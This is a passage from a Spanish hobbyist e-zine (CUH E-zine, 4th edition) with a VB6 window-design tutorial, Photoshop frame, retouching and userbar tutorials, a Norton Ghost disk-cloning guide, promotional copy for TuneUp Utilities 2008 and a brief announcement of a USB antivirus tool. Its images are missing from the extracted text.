Pero al evento click del botón mostrará el form1 y ocultara el form2

‘Muestra el form1 y Oculta el form2 Private Sub Command1_Click() Form2.Visible = False Form1.Show

Page 67: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición End Sub ‘Termina la aplicacion Private Sub Image1_Click() End End Sub ‘Ayuda Private Sub Image2_Click() MsgBox "Ayuda" End Sub ‘Minimiza el form Private Sub Image3_Click() Me.WindowState = vbMinimized End Sub

Ahora solo queda diseñar nuestro icono para terminar el tutorial, retornamos de nuevo a photoshop, abrimos un nuevo documento de 200 px X 200 px con fondo negro, creamos una nueva capa y seleccionamos la herramienta rectángulo y hacemos dos rectángulos uno de fondo blanco pequeño y uno mas grande de fondo negro y trazo blanco de un pixel, le ponemos un texto dentro, mas o menos así

Combinamos las capas visibles y duplicamos la capa, la transformamos y desocultamos el fondo y al estilo de capa le ponemos un superposición de degradado de esta forma

Al resultante lo guardamos para web pero esta vez en formato .jpg, lógico que también guardamos el documento .psd para poder de esta forma tener nuestros documentos a la mano por si necesitamos hacer modificaciones. Abrimos MicroAngelo Studio 5.5 y

Con este programa podemos crear nuestros iconos de manera rápida y eficiente, la primer pantalla nos muestra el primer frame por defecto de 48 x 48 y de 256 colores, nos vamos al menú Tools

Dejamos todo como se ve en la pantalla anterior, ahora nos vamos al menú Edit -> Import

Alli seleccionamos nuestro recién guardado .jpg

Page 68: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

en Photoshop, ya lo podemos manipular como un icono

Como muchos saben los iconos son usados dependiendo del tipo del programa que los necesite, de esta forma podemos tenerlos en distintas resoluciones para que de esta manera no se deforme al tener un solo frame y ser requerido para distintos usos como son el icono que se pone en el Sistray, los iconos de vista previa y otros mas, es por ello que es necesario tener nuestro icono en varias resoluciones , para saber cuantos frames tenemos nos vamos a esta pantalla y al hacer clic derecho podemos agregar o eliminar frames, como en nuestro caso tenemos el primer frame en blanco o vacio hacemos clic derecho y lo borramos

De la misma forma que borramos podemos agregar nuestros nuevos frames haciendo clic derecho sobre el frame actual, para cada resolución creamos un frame, asegurando un icono especial para cada requerimiento del sistema, de la misma forma que lo dejamos sin transparencia, con MicroAngelo también podemos hacer nuestros iconos trasparentes.

Pero para ello debemos seleccionar una herramienta de edición como son los pinceles o el bote pintura, similares a como funcionan en photoshop las herramientas

para ello debemos saber usar el selector de color y escoger un monitor pequeñito en la parte superior de la ventana paleta

Ya es cuestión de experimentar con las tools y con el programa en si. Guardamos el resultado como un archivo .ico y listo ya podemos usarlo en nuestros proyectos

Volvemos a Visual Basic 6.0 y en el form1, cargamos el icono recién creado, ahora vamos a resolver el problema de mover el form, como dije antes, usaremos la API ReleaseCapture y la

Page 69: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

función SendMessage, para ello las declaramos al principio del form de la siguiente manera ‘Declaramos la function SendMessage y la API ReleaseCapture Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Sub ReleaseCapture Lib "User32" () ‘Declaramos las constantes Const WM_NCLBUTTONDOWN = &HA1 Const HTCAPTION = 2 En el evento MouseMove del form la llamamos Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Dim lngReturnValue As Long If Button = 1 Then 'si es el botón izquierdo Call ReleaseCapture lngReturnValue = SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&) End If End Sub Cabe decir que este procedimiento nos sirve para mover cualquier control que posea la propiedad hWnd,. De esta forma queda solucionado el problema de las ventanas fijas e inamovibles, otra buena opción para nuestros programas es estar posicionada encima de todas las ventanas activas, tal como lo hacen programas como el administrador de tareas, esa funcionalidad se llama TOPMOST y se puede lograr de distintas maneras la primera es de esta forma 'Declaramos la Api Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long 'Declaramos las constantes que usará la Api Const SWP_NOMOVE = &H2 Const SWP_NOSIZE = &H1 Const SWP_NOOWNERZORDER = &H200 Private Sub Form_Load() 'Llamamos la funcion al cargar el form Call SetWindowPos(hWnd, -1, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE Or

SWP_NOOWNERZORDER) End Sub La otra forma es mas larga perola podemos aplicar a un botón 'Declaramos la Api Private Declare Function SetWindowPos Lib "user32" (ByVal _ hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, _ ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, _ ByVal wFlags As Long) As Long ‘Se llama la funcion y se declaran constantes Sub SetTopmostWindow(ByVal hWnd As Long, Optional topmost As Boolean = True) Const HWND_NOTOPMOST = -2 Const HWND_TOPMOST = -1 Const SWP_NOMOVE = &H2 Const SWP_NOSIZE = &H1 SetWindowPos hWnd, IIf(topmost, HWND_TOPMOST, HWND_NOTOPMOST), 0, 0, 0, 0, _ SWP_NOMOVE + SWP_NOSIZE End Sub ‘boton1 pone la ventana encima de todas Private Sub Command_Click() SetTopmostWindow Me.hWnd End Sub ‘boton2 pone la ventana normal Private Sub Command2_Click() SetTopmostWindow Me.hWnd, False End Sub Existen diversas maneras de afrontar el diseño de nuestras aplicaciones pero se hace extenso el texto, es por ello que se queda para otra edición, la siguiente parte de este tutorial, cabe decir que la elección de los colores, es algo que se tratará en la segunda parte, ya que es algo primordial para darle una identidad y un aire profesional a nuestros programas, por muy pequeños que sean, como dicen por ahí, todo entra por los ojos y que mas que el software, gracias a todos por su paciencia y por soportar la larga espera de esta edición , que como todas las demás siempre ha estado plagada de imprevistos y de aplazamientos pero al final se ha terminado, tarde pero se ha logrado, ojala que para los próximos números de la revista se superen este tipo de impases, Espero que les haya gustado este tutorial, es hecho exclusivamente para el CUH E-zine, la revista electrónica del foro de el-hacker.com

www.el-hacker.com/foro By Aleks 2008

Page 70: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

Anexo - Resultados Diseño

Page 71: CUH E-zine 4ª Edicion

Diseño de interfaces 1 CUH e-zine 4ª edición

Barras de Titulo

Iconos

Page 72: CUH E-zine 4ª Edicion

Marco Simple Style CUH e-zine 4ª edicion

Hola a todos los lectores de la revista, les traigo un tutorial para el área de diseño grafico, el “Marco Simple Style”. En realidad yo no lo inventé, pero si lo mejore, y debo decirles que lo que yo les enseño aquí ustedes no lo hagan como lo hice yo, háganlo mejor ;) . Comenzamos.... Ya debemos tener la firma pronta, en lo posible de tamaño medio grande así luego de los recortes les quedará bien. Yo utilizaré esta:

1- Lo primero que hacemos es crear una imagen transparente un poquito mas grande que el tamaño de la firma, y luego pegar la firma. Ahora tenemos que seleccionar el área que utilizaremos para el marco, para eso usaremos el Lazo Poligonal y si deseamos las guías para hacerlo mejor.

2- Presionamos Ctrl+Shift+I y borramos lo que queda seleccionado.

3- Seleccionamos la imagen que quedo, vamos a Selección>Modificar>Contraer y elegimos 5 px.

4- Ahora presionamos Ctrl + J y se creará una nueva capa con la selección. En la capa mas pequeña (la que creamos) vamos a Opciones de Fusión y le damos estos parámetros: Sombra Interior:

Dejamos todo los valores como están. Trazo:

Tamaño: 1 px Posición: Fuera Modo de Fusión: Normal Opacidad: 100% Tipo de Relleno: Color Color: Blanco 5- Ahora en las opciones de fusión de la capa grande ponemos esto: Trazo:

Tamaño: 1 px Posición: Dentro Modo de Fusión: Normal Opacidad: 100% Tipo de Relleno: Color Color: Blanco Nos quedará algo así:

Page 73: CUH E-zine 4ª Edicion

Marco Simple Style CUH e-zine 4ª edicion 6- Con la varita mágica seleccionamos la parte externa a la capa pequeña de forma que quede así:

7- Creamos una nueva capa presionando en este botón:

Y en esa capa pintamos de negro la selección, luego vamos a la capa grande y hacemos lo mismo que hicimos en el paso 6. 8- Volvemos a la capa negra (sin quitar la selección) y borramos presionando Suprimir (supr. o delete).

9- Ahora solo cambiamos el modo de la capa a “Superponer” y si queremos le bajamos la opacidad, queda así:

Este es un tutorial muy sencillo, pero si lo sabemos

usar da un efecto muy bonito. Saludos, Furious Dami

Este articulo a sido creado por Furious Dami para la revista CUH E-Zine de http://foro.el-hacker.com Documento liberado bajo la licencia Creative Commons (By-Nc).

Page 74: CUH E-zine 4ª Edicion

Retoque fotográfico CUH e-zine 4ª edicion

En este sencillo tutorial les enseñaré como hacer en pocos pasos un retoque fotográfico, en el cual se perfeccionarán ciertos detalles, como es el ocultamiento de acné o cicatrices, blanqueamiento de dientes, cambio de color de ojos, maquillaje de labios, cejas, pestañas, manejo de brillos y del color, en fin lo necesario para dejar aquellas viejas fotografías como si fueran para una portada de revista tipo Glam! Abrimos la fotografía con el photoshop:

Primero que todo tapamos las imperfecciones de la pintura de la pared y el intrerruptor con la herramienta tampón de clonar, con la opacidad en 70 %

Una vez hemos cubierto esas imperfecciones del

fondo de nuestra foto, duplicamos la capa y en el modo de fusión lo dejamos en superposición, en la opacidad le dejamos en 50 %

le aplicamos un filtro de desenfoque

Em este punto debemos combinar las dos capas

Page 75: CUH E-zine 4ª Edicion

Retoque fotográfico CUH e-zine 4ª edicion

resultantes

Creamos una nueva capa para aplicar un leve brillo en los ojos, para ello seleccionamos la herramienta lápiz, el tamaño lo dejamos en 1 Pixel

Cabe recalcar que para efectuar todos estos cambios es recomendable manejar fotografías con una buena resolución, para poder aplicar acercamientos de detalle y así manipular y corregir detalladamente la imagen, acercamos el área de los ojos, a cada ojo le hacemos tres puntos, mas o menos así

A esta capa le aplicamos un desenfoque, y le ponemos a la opacidad en 45%; para darle un realce al color natural de los ojos creamos una nueva capa, la opacidad en 40% y el modo de fusión superponer

Con la herramienta pincel, escogemos un pincel blando, color blanco, el tamaño debe ser menor al de los ojos, nos posicionamos en el centro de cada ojo y aplicamos un pincelazo

En el caso de que se opte por el cambio de color de ojos, creamos una nueva capa, el modo de fusión lo ponemos en superponer y la dejamos opacidad en 35 %

Escogemos la herramienta pincel, debe ser un pincel duro

El color depende del color que le queramos poner, en este caso he escogido el azul, el tamaño debe ser casi igual al del ojo, pero se debe borrar el excedente:

Ahora vamos a cubrir imperfecciones de la piel, con una mascara que haremos especialmente

Page 76: CUH E-zine 4ª Edicion

Retoque fotográfico CUH e-zine 4ª edicion

para ello, creamos una nueva capa y seleccionamos un color piel que se asemeje al tono de piel del rostro, o un tono rosa claro o similar

Con un pincel cubrimos el área del rostro sin tapar partes como los ojos boca y cejas

Al modo de fusión lo ponemos asi

Le aplicamos un desenfoque y nos queda algo así:

Para quitar imperfecciones mas marcadas debemos trabajar sobre la imagen directamente, con la herramienta tampón o con el pincel, dejando muy baja la opacidad para difuminar el cambio, además debemos ir con calma ya que podríamos empeorar las cosas, debemos escoger un área lisa y libre de imperfecciones, cercana al lugar donde se va a cubrir algo como acné o una mancha, para trabajar mejor ocultamos todas las demás capas, haciendo click derecho sobre la capa, en la parte del ojito, y hacemos los retoques necesarios

Creamos una nueva capa para pintar los labios, seleccionamos el pincel, color rojo o el color que se te antoje y pintamos el labio entero

Al modo de fusión lo dejamos en superponer y la opacidad a vuestro gusto, creamos una nueva capa y con el pincel blanco hacemos algo asi:

Page 77: CUH E-zine 4ª Edicion

Retoque fotográfico CUH e-zine 4ª edicion

A la opacidad la dejamos en 10%, seguimos con la línea de los ojos, creamos una nueva capa, y con el pincel del tamaño necesario para cubrir dicha área le ponemos n color azul oscuro y le aplicamos la línea alrededor de los ojos

Al modo de capa lo dejamos en superponer, y la opacidad en 50 %

De nuevo creamos una nueva capa para el brillo de las cejas, con un pincel blando dejamos algo como esto

Le ponemos al modo de fusión superponer y la opacidad la dejamos en 45% o a nuestro gusto, para resaltar las cejas creamos una nueva capa y escogemos un pincel delgado y de color marrón en este caso, la opacidad del pincel debe estar en 65% y el tamaño que se adapte al tamaños de la ceja, con el borrador depuramos el estilo de las

cejas y al resultado le aplicamos un desenfoque

En el modo fusión lo ponemos en multiplicar y en la opacidad en 40%, para variar creamos otra capa y la herramienta pincel, con un tono violeta puede ser, es para el color del cabello, dejamos algo parecido a esto

Y en el modo fusión lo dejamos en superponer y la opacidad en 95%, el color de cualquier capa lo cambiamos desde el menú imagen

De esta forma podemos cambiar los tonos de

Page 78: CUH E-zine 4ª Edicion

Retoque fotográfico CUH e-zine 4ª edicion

nuestro retoque, por el momento un detalle de nuestra fotografía esta quedando así:

Y si lo comparamos con el original

Ahora solo unos detalles, como son iluminaciones y un marco y texto para darle realce al diseño en general, todo depende de nuestro estilo y gusto también, existen otras formas de hacer lo mismo

que yo explico acá, pero esta es la forma en que yo lo hago esto fue mas o menos o que salió al final:

Dejo otros resultados del mismo tutorial.

Antes

Despues

Page 79: CUH E-zine 4ª Edicion

Retoque fotográfico CUH e-zine 4ª edicion

Antes

Despues

Ya es cuestión de que cada uno experimente y mire que resultados se acomodan a su forma de diseñar o a la fotografía, ya que todo depende de la fotografía que se escoja para hacer el retoque, como recalque anteriormente lo mejor es tener imágenes de alta resolución, para tener el máximo de calidad de la imagen y asi mismo obtener un resultado casi perfecto, todo depende del detalle y del esmero con que emprendes tus proyectos. Espero que les haya agradado a todos mis amigos de del foro de la web www.el-hacker.com/Foro o la Comunidad Underground Hispana CUH, de la cual soy un orgulloso miembro. Este tutorial como siempre esta hecho para los que recién empiezan en esto del diseño! Sois libres de copiar, modificar y de manipular este documento a vuestro antojo, ;)

By Alesteir 2008

Suertes ¡!!

Page 80: CUH E-zine 4ª Edicion

Userbars con PhotoShop CUH e-zine 4ª edición

Este Tutorial explica la forma de hacer un Userbar con PhotoSho, primeramente realizarás un pequeño motivo, que es lo que dará un toque llamativo al userbar, así que creas un documento nuevo de 3*3 px con fondo tranparente y le aumentas el zoom al 1000% y con el lápiz trazas una línea diagonal sobre el lienzo algo así :

Una ves hecho esto sigues esta ruta: Menú Edición>Definir Motivo, le pones el nombre que quieras y guardas, ya una ves guardado cierras el archivo. Ahora empezarás con lo bueno, creas un documento nuevo de 350*20 px con fondo blanco y le agregas un degradado que combine con el render:

Después sigues esta ruta Capa>Estilo de Capa>Superposición de Motivo, le das click y escoges el motivo que habías guardado con anterioridad y le das ok, debe quedarte algo así:

Nota: la imagen sale así ya que tiene un zoom de 200% que puse para que se notara el efecto que se realiza. Abres tu render y lo pones en tu userbar para que se vea algo así:

Creas una nueva capa y escoges tu herramienta de marco elíptico y creas algo asi

Despues de vas a Editar>Rellenar y pones estos valores

Nota: Esta en Ingles ya que la versión del cs2 que uso esta en ese idioma y trato de hacerles la traducción mas parecida al español de los comandos. Le bajas la opacidad menor a 30% la que creas conveniente

Y finalmente le agregas un font que le combine con tu Nick o lo que gustes y te queda algo así:

Los resultados varían según la imaginación que tengas para usar este sencillo tutorial y espero te sirva

Page 81: CUH E-zine 4ª Edicion

Norton Ghost CUH e-zine 4ª edición

Según la definición de Symantec Norton Ghost es 1 herramienta d clonado o creación d imágenes q provee la habilidad de copiar el contenido completo d 1 disco o partición.. Los contenidos son copiados directamente ya sea a otro disco o partición, o son salvados como 1 archivo q puede luego ser restaurado a los mismos medios. En resumen, lo q podemos hacer con el ghost es 1 imagen exacta de nuestro disco rígido. Para q puede servir esto?? para muchísimas cosas podría ser la respuesta... en principio si tenemos q hacer 1 cambio d disco en 1 pc en lugar d tener q instalar nuevamente SO, drivers, soft, etc lo q hacemos es clonar o como c dice en la jerga “ghostear” el disco y tenemos el so instalado y funcionando en solo unos minutos.

Parece bueno no?? je... y es solo el principio. ;) Aunque no parezca 1 herramienta de hardware 100% el ghost es usado por la mayoría d los técnicos x la cantidad d posibilidades q brinda tanto para clonado como backup d equipos. El nombre ghost viene d la sigla “General Hardware-Oriented System Transfer”. Su existencia data d 1995 cuando pertenecía a Binary Research hasta q en 1998 fue comprado x Symantec.

Soportaba inicialmente solo sistemas d archivos FAT, a través de los años fue agregando NTFS (1996) y posteriormente EXT2, EXT3, etc. A pesar d q hay otros softs para clonado d discos el norton ghost es el + aceptado x su eficacia y robustez. La desventaja q x lo general podemos encontrar en reviews o comentarios d usuarios es q el sistema debe correr desde DOS... para mi + q 1 desventaja es justamente 1 ventaja pero bue... en el moderno mundo d win a la gente le cuesta mucho usar la consola... Como decía al principio clonar 1 disco para cambiarlo es solamente 1 d las posibilidades del ghost. Gracias al sistema d imágenes lo podemos usar para hacer backup d 1 pc o para tener 1 imagen si tenemos q instalar muchas iguales como seria el caso en 1 empresa, ciber, etc., podemos x ej instalar nuestra pc con todo lo q nos gusta y cuando esta perfecta hacer 1 imagen. Después ante cualquier problema con el SO no hace falta volver a instalar todo, con solo tirarle la imagen guardada en el disco tenemos el sistema corriendo igual q recién instalado en unos 5 mins. Pisando virus, errores o lo q sea... Vamos a ver el tema del destino d la imagen xq

no es tan fácil a veces. Podemos clonar 1 disco teniendo los 2 conectados a la pc o podemos crear 1 imagen para después hacer lo q c nos ocurra, ya sea meterla en otro hd o sacar archivos d ella con el GhostExplorer. Esta es 1 utilidad q nos permite navegar dentro d la imagen y extraer archivos d ella... similar a lo q podríamos hacer con winiso y 1 imagen ISO. Me parece q ya es demasiada historia y blah blah... vamos a ver como funciona...

Uso de Norton Ghost

El Ghost x supuesto lo podemos encontrar en el Hiren’s Boot CD para facilitarnos las cosas... sino lo pueden descargar d la red. Es 1 ejecutable d poco + d 1mb... recuerden q hay q correrlo desde dos para lo q c necesita booteo, etc, etc. Con el Hiren’s c ahorran todo eso ;) Booteamos con el Hiren’s y en el menú vamos a:

Disk Clone Tools -> Norton Ghost 11.0.1 …

Ahi tenemos 8 opciones distintas, soporte para USB, SCSI, red, distintos tipos d compresión y d tamaño d los archivos resultantes para poder quemarlos en CD/DVD. Vamos a ver la 8 q es el ghost normal q es el archivo del q hablábamos antes q podemos correr también desde 1 diskette, cd, usb, red o lo q sea q podamos llegar a levantar con la pc, esto es lo q hacen las demás opciones, darnos conectividad tanto para correr el ghost como para copiar las imágenes. + adelante lo vemos mejor. Al abrir el ghost y después d aceptar 1 msg d bienvenida nos encontramos con el menú principal q no tiene demasiadas opciones, solo las necesarias:

Page 82: CUH E-zine 4ª Edicion

Norton Ghost CUH e-zine 4ª edición En el menú “Local” tenemos todas las opciones de clonado, desde “Disk” podemos hacer clonado d disco a disco, disco a imagen o disco desde imagen. Y desde el menú “Partition” lo mismo con particiones. Con esto tenemos todas las operaciones q necesitamos. Vamos entonces a clonar 1 disco a otro. Supongamos q tenemos el 1er caso del q hablábamos. Cambiar el disco d 1 pc x otro. Tendríamos q hacer:

Local -> Disk -> To Disk

C abre 1 ventana preguntándonos x el source o disco d origen:

En el ejemplo tenemos 2 discos iguales d 500mb pero no es necesario q sean iguales... es +, justamente lo + probable seria 1 cambio x 1 hd + grande. Seleccionamos entonces el disco d origen y le damos a OK, entonces nos sale 1 ventana similar donde tenemos q elegir el disco d destino. Seleccionamos y comienza a copiarse saliendo otra ventana como esta:

Podemos ver arriba d todo la típica barra indicadora d progreso y + abajo las estadísticas.

Porcentaje completado, velocidad d transferencia, MB copiados y restantes y tiempo transcurrido y restante. + abajo en “detalles” vemos la info d la conexión, los discos y particiones además del archivo en copia.

Al finalizar tenemos 2 discos exactamente iguales y ya c puede reemplazar 1 x otro sin ningún problema. Hasta acá tenemos la situación + normal y sin problemas.

En la ultima captura como c puede ver cambie los discos. El origen es de 100mb y el destino de 500. Q pasa en 1 caso así c preguntaran? El disco destino (500mb) queda con 1 partición equivalente al espacio libre q tenga y los datos d la partición d origen. O sea q en cuanto a datos serian iguales pero la partición ya no seria d 100 sino d 500mb. El ghost mueve los datos solamente. La partición si en el origen ocupaba todo el disco en el destino también. Los datos anteriores x supuesto q son destruidos sin importar nada.

Si en cambio clonamos particiones el menu nos va a preguntar en su momento cual es la partición q queremos ghostear dentro del disco y al meterla en otra no importa el espacio (siempre q sea mayor), la va a dejar del tamaño q estaba pero con los datos d la d origen.

Imágenes

Hasta acá todo c v bastante fácil ya q en todos estos casos tenemos acceso físico a meterle otro disco a la maquina, pero... q pasa si hablamos d 1 notebook o cualquier pc q x 1 razón u otra no podamos abrirla para conectar el disco d destino?

Para eso están las opciones d conectividad q veíamos al comienzo q trae el submenu d ghost del hiren’s y x supuesto lo principal... las imágenes. Todas estas opciones c pueden llegar a realizar sin hiren’s ya q lo único q nos dan es conectividad, d hecho tiraba imágenes x red mucho antes d q el hiren’s tuviera soporte para redes, pero como siempre con el cd todo es mucho + fácil... je

Mucha gente usa el sistema d imágenes (aunq no fue pensado para eso) como sistema d backup. La ventaja para el backup es la rapidez ya q el soft trabaja a bajo nivel y no a nivel d archivos, además d q nos aseguramos d tener absolutamente todos los datos del hd en el tiempo en q 1 sistema tradicional d backup copiaría solo algunas carpetas...

Si no ponemos ninguna opción c dividen en archivos d 2gb, sino podemos, como veíamos antes, cortarlas en 700mb (CD) o 4470mb (DVD) desde el mismo hiren’s sin tener q tocar configuración del ghost. Y x ultimo pide tipo d compresión q puede variar entre NO (sin compresión), FAST (compresión rápida) o HIGH (alta compresión). Si estamos ghosteando a unidades d red casi no c nota la diferencia entre una y otra debido a la tasa d transferencia.

Page 83: CUH E-zine 4ª Edicion

Norton Ghost CUH e-zine 4ª edición

Conectividad

Las opciones + usadas del menú son x supuesto la d usb y la d network... x lo – son las q yo + uso. Con la 1era lo q logramos es soporte usb en DOS, con lo cual podríamos conectar 1 disco externo o hasta 1 pendrive y tirar ahí la imagen. En algunos casos no queda otra... y aunq la transferencia x usb deja bastante q desear sirve para el propósito.

La opción d red (mi preferida) corre 1 cliente d red para DOS q tiene drivers para la mayoría d las placas q podemos encontrar. Lo único q pide es user/pass y dominio en el caso d q exista:

El problema con esto es q al terminar d levantar el cliente directamente lanza el ghost, con lo cual no nos da tiempo para linkear ninguna unidad donde mandar la imagen... para eso usamos el campo “logon

script” q trabaja d la misma manera q 1 logon script d 1 domain server. Lo q hace es lanzar 1 bat o solo 1 línea d DOS q le pongamos. Como solo queremos linkear 1 unidad basta con el clásico “net use x: \\servidor\recurso”.

Así al terminar d cargar el cliente corre el comando q en este caso linkea la unidad y recién después abre el ghost. La única diferencia en este caso con los anteriores es q en lugar d mandar la imagen a 1 disco local lo mandamos a 1 unidad d red. Cuando queremos ghostear otra pc hacemos el mismo proceso pero a la inversa. En lugar d disk “To Image” usamos “From image”.

Las posibilidades son muchas, solo es cosa d buscar la forma en base a las circunstancias pero prácticamente todo c puede ghostear desde y hacia. Es cosa d experimentar. Este es solo 1 d los métodos posibles, no es el q yo uso particularmente pero creo q es el + fácil. Otra posibilidad es la d usar la utilidad sysprep q viene entre las tools del CD d instalación d win para crear instalaciones desatendidas orientadas a X hardware. Es muy útil cuando hay q instalar muchas pcs iguales ya q ghostearlas nos puede traer problemas en redes corporativas x el tema del SID... pero eso ya es otra historia. Hace 1 tiempo implemente este sistema para la instalación d unas 100 pcs. Con sysprep c hace la instalación desatendida q tarda – d 5 mins en dejar el so funcionando (con todas las aplicaciones, conf, etc) y con ghost c hace y tira la imagen del sysprep en c/u d las pcs... pero bue... nos vamos d tema me parece. Mejor lo dejamos para otra... ;)

|_ocutus

Page 84: CUH E-zine 4ª Edicion

Razones para usar TuneUp 2008 CUH e-zine 4ª edición

1. Potente desfragmentación de discos duros

2. Aceleración óptima de Windows, Internet y del arranque

3. Ordenación rápida y completa de los discos duros

4. Eliminación eficaz de datos innecesarios

5. Limpieza y mejora completamente automáticas del equipo

6. Limpieza intensiva del registro

7. Gran ayuda para solucionar los problemas habituales de Windows

8. Recuperación y destrucción de datos de forma segura

9. Sencilla configuración de Windows a medida

10. Diseño de Windows personalizado

Mejora del rendimiento Windows se inicia con lentitud. El equipo se apaga con lentitud. Los programas se abren de forma titubeante. Los juegos se bloquean cuando se cargan. ¿Tiene la impresión de que el rendimiento de su PC es cada vez peor? Solucione los problemas de velocidad de su sistema y olvídese de largas reinstalaciones. TuneUp Utilities 2008 le ayuda a optimizar tanto Windows como sus programas y juegos, además de dar un nuevo impulso a su sistema.

Potente desfragmentación de soportes

• Reduce en gran medida el tiempo de carga de Windows, programas y juegos

• Se encarga de lograr un notable aumento de velocidad mediante una desfragmentación inteligente

• Desfragmentación automática en segundo plano siempre que lo desee

Desfragmentación y reparación del registro

• Fragmentos reducidos dentro del registro

• Repara defectos estructurales

• Libera memoria no utilizada

Evita el inicio de programas no deseados

• Acelera el inicio del sistema

• Muestra los programas que se ejecutan automáticamente al iniciar Windows

• También muestra un listado de los programas que no se encuentran en la carpeta de inicio automático

• Ofrece claras recomendaciones y descripciones de más de mil programas

Page 85: CUH E-zine 4ª Edicion

Razones para usar TuneUp 2008 CUH e-zine 4ª edición

Optimización de Windows y aceleración de Internet

• Mejora el rendimiento del sistema

• Acelera la navegación y la descarga de archivos

• Da extensos consejos para acelerar el sistema

Page 86: CUH E-zine 4ª Edicion

Razones para usar TuneUp 2008 CUH e-zine 4ª edición

Desfragmentación y reparación del registro

• Fragmentos reducidos dentro del registro

• Repara defectos estructurales

• Libera memoria no utilizada

Tune Up Memory Optimizer

Para optimizar y liberar la memoria de nuestro disco

duro

Aumento de espacio en disco

• Libera a sus discos duros de datos innecesarios y que acaban con el espacio disponible en la memoria

• Muestra directamente en la pantalla de inicio la cantidad de espacio que ha ganado en la memoria en cada área

• Busca en pocos segundos en todo el sistema

Page 87: CUH E-zine 4ª Edicion

Razones para usar TuneUp 2008 CUH e-zine 4ª edición

Mantenimiento del sistema ¿Quiere estar seguro de que el rendimiento de su PC sigue siendo el adecuado durante mucho tiempo y de que funciona de en óptimas condiciones? Sin embargo, ¿a que no quiere tener que estar constantemente preocupado por ello? Compruebe y mantenga el sistema de forma eficaz y sencilla con un mínimo esfuerzo. TuneUp Utilities 2008 le ofrece todas las funciones de mantenimiento importantes para su PC en una única pantalla. Puede desfragmentar, mantener y limpiar el sistema cuando quiera y de manera totalmente automática.

Limpie el sistema y téngalo listo siempre con un sólo clic

• Limpie el PC con un sólo clic

• Solucione los problemas del registro

• Consiga más espacio en el disco

• Optimice el rendimiento de los discos duros gracias a la desfragmentación

Solución de problemas Archivos defectuosos, pérdida de datos, fallos generales de software, errores de representación: no deje que vaya a más. Mantenga siempre el núcleo de su PC en buen estado y preocúpese de optimizar el rendimiento del equipo. Prevenga la pérdida de datos y recupere archivos eliminados accidentalmente. TuneUp Utilities 2008 le ayuda a solucionar ese y otros problemas de su PC con sólo unos pocos clics.

Detectar y solucionar errores de los soportes de datos

• Localiza y corrige errores del sistema de archivos

• Recuperar la información de los sectores dañados de los soportes

• Previene la pérdida de datos Solución fácil de problemas de Windows

• Soluciona problemas frecuentes en Windows

• Repara, entre otros, errores de representación, como la desaparición de los iconos "Papelera de reciclaje" o "Mi PC" del escritorio

Restauración de archivos eliminados

• Restaura los archivos ya borrados de la papelera de reciclaje

• Recupera archivos eliminados accidentalmente de unidades USB y cámaras digitales

Page 88: CUH E-zine 4ª Edicion

Razones para usar TuneUp 2008 CUH e-zine 4ª edición

Personalizar Windows ¿Quiere pasar en pocos minutos del diseño estándar a un estilo propio? ¿Hasta qué punto quiere un Windows a su medida? Con TuneUp Utilities 2008 no hay problema. Marque la pauta y déle a Windows su toque personal. Adapte su PC a sus propias necesidades. Dispone de más de 400 opciones para y ajustar la apariencia y la forma de trabajar de Windows. Y todo ello, naturalmente, con Windows Vista. Configurar Windows por completo

• Adaptar Windows a sus necesidades personales

• Estación de control central con más de 400 opciones para ajustar el menú Inicio, la barra de tareas, la configuración de Internet, además de las opciones de privacidad, animaciones, efectos y mucho más.

Su propia configuración de Windows

• Permite personalizar el aspecto de ventanas y botones

• Configura la pantalla de inicio

• Permite modificar el inicio de sesión del usuario

Más herramientas ¿Quiere más? Gracias a nuestras herramientas para expertos, tiene la posibilidad de profundizar en Windows. Supervisar y controlar los procesos activos. Analice el uso del sistema y de la memoria RAM, además de la velocidad de transmisión de datos de Internet. Corrija la configuración del registro o elimine de forma definitiva datos confidenciales. Desinstalación de software a fondo

• Muestra la cantidad de memoria que ocupan las aplicaciones instaladas

• Desinstala de forma rápida y sencilla aplicaciones innecesarias

• Elimina las entradas de desinstalaciones innecesarias

Supervisión del sistema de forma resumida

• Proporciona un resumen detallado de los programas y procesos activos, además de los archivos abiertos

• Finaliza aplicaciones y procesos con rapidez y sin retardo

• Le ofrece un resumen de los valores de rendimiento del sistema

Edición cómoda del registro

• Realice modificaciones manuales en el registro

• Admite marcadores y almacena el desarrollo de todas las claves consultadas

• Ofrece una rápida y extensa función de búsqueda que muestra un listado de todas los resultados

• Asegura de forma automática todas las modificaciones en TuneUp Rescue Center y permite deshacerlas.

Destruir datos de forma segura

• Elimina información confidencial de manera que nadie pueda restaurarlas

• Permite eliminar de forma segura mediante distintos métodos como, por ejemplo, según el procedimiento del Departamento de defensa de EE. UU.

Averigua información detallada sobre el sistema

• Ofrece información y hechos detallados sobre Windows y el hardware utilizado

Page 89: CUH E-zine 4ª Edicion

Razones para usar TuneUp 2008 CUH e-zine 4ª edición

• Muestra el uso que se hace del sistema y de la memoria RAM, así como la velocidad de transmisión de datos de Internet y de la red

Por ultimo vamos a ver como deberiamos tener configurado el TuneUp Utilities 2008 ( esta

configuracion es personal, cada uno pone lo que mas le interesa )

Esto es todo, solo un pequeño aporte a este gran programa y a la comunidad de el Hacker.com CUH ,

casi se le podria llamar TODO EN UNO SALU2

Page 90: CUH E-zine 4ª Edicion

Centinel USB Protector CUH e-zine 4ª edición

Les dejo una pequeña aplicación que protege de virus tus unidades extraibles y por ende al pc que lo use, la aplicación consta de una interfaz y de una pequeña barra que se puede desplazar al lugar deseado, es una versión de prueba por el momento pruebenla y me dicen como les va,

deben leer el leeme que hay en el .rar, ali explica algunas cosillas, ya que necesito saber de los fallos para corregirlos, espero que les guste!

